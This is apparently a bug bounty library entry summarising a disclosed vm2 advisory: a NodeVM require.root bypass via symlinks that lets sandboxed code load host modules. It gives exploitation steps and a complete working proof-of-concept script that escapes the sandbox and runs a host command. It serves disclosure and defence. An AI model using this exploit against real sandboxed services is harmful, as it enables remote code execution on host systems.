# vm2 has a NodeVM require.root bypass via symlink traversal that allows sandbox escape

vm2 NodeVM's require.root prefix check uses path.resolve (no symlink deref) while require() follows symlinks, letting sandboxed code load host modules and escape to RCE.

- Payout: Research
- Severity: high
- Program: vm2
- Found by: bugbunny-research
- Disclosed: 2026-05-07
- CVE: CVE-2026-43998
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-cp6g-6699-wx9c
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-cp6g-6699-wx9c
- Tags: area:oss domain:oss impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:path-traversal vuln:rce vuln:sandbox-escape

**Target:** NodeVM module resolver (lib/resolver-compat.js, lib/filesystem.js)
**Root cause:** isPathAllowed validates a path normalized by path.resolve(), which does not dereference symlinks, but module loading uses Node's require() which does follow them — a check/use discrepancy.
**Steps:**
1. Create allowed root dir with node_modules subdir, e.g. `/tmp/root/node_modules`.
2. Place a symlink inside root pointing outside: `/tmp/root/node_modules/safe` -> `/outside/root/vm2/` (pnpm/npm link/workspaces do this naturally).
3. Instantiate `new NodeVM({ require: { external: ['safe'], root, context: 'host', builtin: [] } })`.
4. Sandbox calls `require('safe')`; resolveFull yields `/tmp/root/node_modules/safe/index.js`, path.resolve leaves symlink unresolved, isPathAllowed prefix check passes.
5. loadJS sees context 'host' and calls hostRequire(filename); Node require() follows symlink and loads the outside module in host realm.
6. Sandbox uses loaded vm2 to build an inner NodeVM with `builtin: ['child_process']` and runs `execSync('id')`.
**How found:** Code review of the resolver: noticed isPathAllowed uses path.resolve() (string normalization only) while loadJS delegates to native require() which dereferences symlinks; grep for realpath/readlink/lstat across lib/ returned zero results, confirming no symlink defenses.
**Exploitation:** Attacker submits sandboxed code; with any symlink under the allowed root (common under pnpm/workspaces/npm link), they require an out-of-root module in host context, load vm2 itself, and construct a privileged inner NodeVM allowing child_process to execute host commands.
**Escalation:** Loads vm2 from outside root to instantiate a nested NodeVM with builtin child_process, converting module-load bypass into full host RCE.
**Insight:** When a sandbox validates paths with path.resolve() but enforces via an API that follows symlinks (require, fs.readFile), the prefix check is bypassable; grep the codebase for realpath/readlink/lstat — their absence in a path-restriction module is the tell.

## Proof of concept (copied exactly from the original report)

**Symlink require.root bypass PoC script**

```
const path = require('path');
const fs = require('fs');
const os = require('os');
const { NodeVM } = require('vm2');

// Create an "allowed" root directory
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-'));
fs.mkdirSync(path.join(root, 'node_modules'), { recursive: true });

// Symlink inside root pointing to vm2 package outside root
// In real deployments: pnpm, npm link, workspaces create these automatically
const link = path.join(root, 'node_modules', 'safe');
fs.symlinkSync(path.resolve(__dirname), link, 'dir');

const vm = new NodeVM({
  require: {
    external: ['safe'],
    root,
    context: 'host',
    builtin: [],       // no builtins allowed
  },
});

// Sandbox code loads vm2 from outside root via symlink,
// creates a privileged inner NodeVM to get child_process
const out = vm.run(`
  const { NodeVM } = require('safe');
  const inner = new NodeVM({ require: { builtin: ['child_process'] } });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'inner.js'
  );
`, path.join(root, 'vm.js'));

console.log(out.trim()); // prints host uid/gid — RCE achieved
```

